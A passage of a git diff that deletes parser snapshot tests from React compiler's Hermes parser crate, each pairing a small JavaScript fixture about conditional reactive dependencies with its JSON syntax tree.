-                          "loc": null,
-                          "range": [
-                            294,
-                            295
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          288,
-                          295
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          296,
-                          297
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        288,
-                        297
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      282,
-                      297
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    282,
-                    298
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                276,
-                302
-              ]
-            },
-            "loc": null,
-            "range": [
-              228,
-              302
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                312,
-                313
-              ]
-            },
-            "loc": null,
-            "range": [
-              305,
-              314
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          208,
-          316
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        159,
-        316
-      ],
-      "loc": null,
-      "range": [
-        159,
-        316
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    159,
-    316
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-cfg-nested-ifelse-missing.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-cfg-nested-ifelse-missing.js.snap
deleted file mode 100644
index 1fd0760188ae..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-cfg-nested-ifelse-missing.js.snap
+++ /dev/null
@@ -1,433 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-nested-ifelse-missing.js
----
-Input:
-// props.a.b should NOT be added as a unconditional dependency to the reactive
-// scope that produces x if it is not accessed in every path
-
-function TestCondDepInNestedIfElse(props, other) {
-  const x = {};
-  if (foo(other)) {
-    if (bar()) {
-      x.a = props.a.b;
-    }
-  } else {
-    x.d = props.a.b;
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "TestCondDepInNestedIfElse",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          150,
-          175
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            176,
-            181
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "other",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            183,
-            188
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    200,
-                    201
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    204,
-                    206
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  200,
-                  206
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              194,
-              207
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  214,
-                  217
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "other",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    218,
-                    223
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                214,
-                224
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "bar",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        236,
-                        239
-                      ]
-                    },
-                    "arguments": [],
-                    "loc": null,
-                    "range": [
-                      236,
-                      241
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                251,
-                                252
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "a",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                253,
-                                254
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              251,
-                              254
-                            ]
-                          },
-                          "right": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "props",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  257,
-                                  262
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "a",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  263,
-                                  264
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                257,
-                                264
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "b",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                265,
-                                266
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              257,
-                              266
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            251,
-                            266
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          251,
-                          267
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      243,
-                      273
-                    ]
-                  },
-                  "alternate": null,
-                  "loc": null,
-                  "range": [
-                    232,
-                    273
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                226,
-                277
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          289,
-                          290
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "d",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          291,
-                          292
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        289,
-                        292
-                      ]
-                    },
-                    "right": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            295,
-                            300
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "a",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            301,
-                            302
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          295,
-                          302
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          303,
-                          304
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        295,
-                        304
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      289,
-                      304
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    289,
-                    305
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                283,
-                309
-              ]
-            },
-            "loc": null,
-            "range": [
-              210,
-              309
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                319,
-                320
-              ]
-            },
-            "loc": null,
-            "range": [
-              312,
-              321
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          190,
-          323
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        141,
-        323
-      ],
-      "loc": null,
-      "range": [
-        141,
-        323
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    141,
-    323
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-cfg-nested-ifelse.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-cfg-nested-ifelse.js.snap
deleted file mode 100644
index 70cb1ee0a451..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-cfg-nested-ifelse.js.snap
+++ /dev/null
@@ -1,685 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-nested-ifelse.js
----
-Input:
-// props.a.b should be added as a unconditional dependency to the reactive
-// scope that produces x, since it is accessed unconditionally in all cfg
-// paths
-
-function TestCondDepInNestedIfElse(props, other) {
-  const x = {};
-  if (foo(other)) {
-    if (bar()) {
-      x.a = props.a.b;
-    } else {
-      x.b = props.a.b;
-    }
-  } else if (baz(other)) {
-    x.c = props.a.b;
-  } else {
-    x.d = props.a.b;
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "TestCondDepInNestedIfElse",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          168,
-          193
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            194,
-            199
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "other",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            201,
-            206
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    218,
-                    219
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    222,
-                    224
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  218,
-                  224
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              212,
-              225
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  232,
-                  235
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "other",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    236,
-                    241
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                232,
-                242
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "bar",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        254,
-                        257
-                      ]
-                    },
-                    "arguments": [],
-                    "loc": null,
-                    "range": [
-                      254,
-                      259
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                269,
-                                270
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "a",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                271,
-                                272
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              269,
-                              272
-                            ]
-                          },
-                          "right": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "props",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  275,
-                                  280
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "a",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  281,
-                                  282
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                275,
-                                282
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "b",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                283,
-                                284
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              275,
-                              284
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            269,
-                            284
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          269,
-                          285
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      261,
-                      291
-                    ]
-                  },
-                  "alternate": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                305,
-                                306
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "b",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                307,
-                                308
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              305,
-                              308
-                            ]
-                          },
-                          "right": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "props",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  311,
-                                  316
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "a",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  317,
-                                  318
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                311,
-                                318
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "b",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                319,
-                                320
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              311,
-                              320
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            305,
-                            320
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          305,
-                          321
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      297,
-                      327
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    250,
-                    327
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                244,
-                331
-              ]
-            },
-            "alternate": {
-              "type": "IfStatement",
-              "test": {
-                "type": "CallExpression",
-                "callee": {
-                  "type": "Identifier",
-                  "name": "baz",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    341,
-                    344
-                  ]
-                },
-                "arguments": [
-                  {
-                    "type": "Identifier",
-                    "name": "other",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      345,
-                      350
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  341,
-                  351
-                ]
-              },
-              "consequent": {
-                "type": "BlockStatement",
-                "body": [
-                  {
-                    "type": "ExpressionStatement",
-                    "expression": {
-                      "type": "AssignmentExpression",
-                      "operator": "=",
-                      "left": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            359,
-                            360
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "c",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            361,
-                            362
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          359,
-                          362
-                        ]
-                      },
-                      "right": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              365,
-                              370
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              371,
-                              372
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            365,
-                            372
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            373,
-                            374
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          365,
-                          374
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        359,
-                        374
-                      ]
-                    },
-                    "directive": null,
-                    "loc": null,
-                    "range": [
-                      359,
-                      375
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  353,
-                  379
-                ]
-              },
-              "alternate": {
-                "type": "BlockStatement",
-                "body": [
-                  {
-                    "type": "ExpressionStatement",
-                    "expression": {
-                      "type": "AssignmentExpression",
-                      "operator": "=",
-                      "left": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            391,
-                            392
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "d",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            393,
-                            394
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          391,
-                          394
-                        ]
-                      },
-                      "right": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              397,
-                              402
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              403,
-                              404
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            397,
-                            404
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            405,
-                            406
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          397,
-                          406
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        391,
-                        406
-                      ]
-                    },
-                    "directive": null,
-                    "loc": null,
-                    "range": [
-                      391,
-                      407
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  385,
-                  411
-                ]
-              },
-              "loc": null,
-              "range": [
-                337,
-                411
-              ]
-            },
-            "loc": null,
-            "range": [
-              228,
-              411
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                421,
-                422
-              ]
-            },
-            "loc": null,
-            "range": [
-              414,
-              423
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          208,
-          425
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        159,
-        425
-      ],
-      "loc": null,
-      "range": [
-        159,
-        425
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    159,
-    425
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-cfg-switch-missing-case.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-cfg-switch-missing-case.js.snap
deleted file mode 100644
index 520c0a0d3fcf..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-cfg-switch-missing-case.js.snap
+++ /dev/null
@@ -1,513 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-switch-missing-case.js
----
-Input:
-// props.a.b should NOT be added as a unconditional dependency to the reactive
-// scope that produces x if it is not accessed in every path
-
-function TestCondDepInSwitchMissingCase(props, other) {
-  const x = {};
-  switch (foo(other)) {
-    case 1:
-      x.a = props.a.b;
-      break;
-    case 2:
-      x.b = 42;
-      break;
-    default:
-      x.c = props.a.b;
-      break;
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "TestCondDepInSwitchMissingCase",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          150,
-          180
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            181,
-            186
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "other",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            188,
-            193
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    205,
-                    206
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    209,
-                    211
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  205,
-                  211
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              199,
-              212
-            ]
-          },
-          {
-            "type": "SwitchStatement",
-            "discriminant": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  223,
-                  226
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "other",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    227,
-                    232
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                223,
-                233
-              ]
-            },
-            "cases": [
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    246,
-                    247
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "ExpressionStatement",
-                    "expression": {
-                      "type": "AssignmentExpression",
-                      "operator": "=",
-                      "left": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            255,
-                            256
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "a",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            257,
-                            258
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          255,
-                          258
-                        ]
-                      },
-                      "right": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              261,
-                              266
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              267,
-                              268
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            261,
-                            268
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            269,
-                            270
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          261,
-                          270
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        255,
-                        270
-                      ]
-                    },
-                    "directive": null,
-                    "loc": null,
-                    "range": [
-                      255,
-                      271
-                    ]
-                  },
-                  {
-                    "type": "BreakStatement",
-                    "label": null,
-                    "loc": null,
-                    "range": [
-                      278,
-                      284
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  241,
-                  284
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    294,
-                    295
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "ExpressionStatement",
-                    "expression": {
-                      "type": "AssignmentExpression",
-                      "operator": "=",
-                      "left": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            303,
-                            304
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            305,
-                            306
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          303,
-                          306
-                        ]
-                      },
-                      "right": {
-                        "type": "NumericLiteral",
-                        "value": 42.0,
-                        "loc": null,
-                        "range": [
-                          309,
-                          311
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        303,
-                        311
-                      ]
-                    },
-                    "directive": null,
-                    "loc": null,
-                    "range": [
-                      303,
-                      312
-                    ]
-                  },
-                  {
-                    "type": "BreakStatement",
-                    "label": null,
-                    "loc": null,
-                    "range": [
-                      319,
-                      325
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  289,
-                  325
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": null,
-                "consequent": [
-                  {
-                    "type": "ExpressionStatement",
-                    "expression": {
-                      "type": "AssignmentExpression",
-                      "operator": "=",
-                      "left": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            345,
-                            346
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "c",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            347,
-                            348
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          345,
-                          348
-                        ]
-                      },
-                      "right": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              351,
-                              356
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              357,
-                              358
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            351,
-                            358
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            359,
-                            360
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          351,
-                          360
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        345,
-                        360
-                      ]
-                    },
-                    "directive": null,
-                    "loc": null,
-                    "range": [
-                      345,
-                      361
-                    ]
-                  },
-                  {
-                    "type": "BreakStatement",
-                    "label": null,
-                    "loc": null,
-                    "range": [
-                      368,
-                      374
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  330,
-                  374
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              215,
-              378
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                388,
-                389
-              ]
-            },
-            "loc": null,
-            "range": [
-              381,
-              390
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          195,
-          392
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        141,
-        392
-      ],
-      "loc": null,
-      "range": [
-        141,
-        392
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    141,
-    392
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-cfg-switch-missing-default.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-cfg-switch-missing-default.js.snap
deleted file mode 100644
index 6892fb643bf3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-cfg-switch-missing-default.js.snap
+++ /dev/null
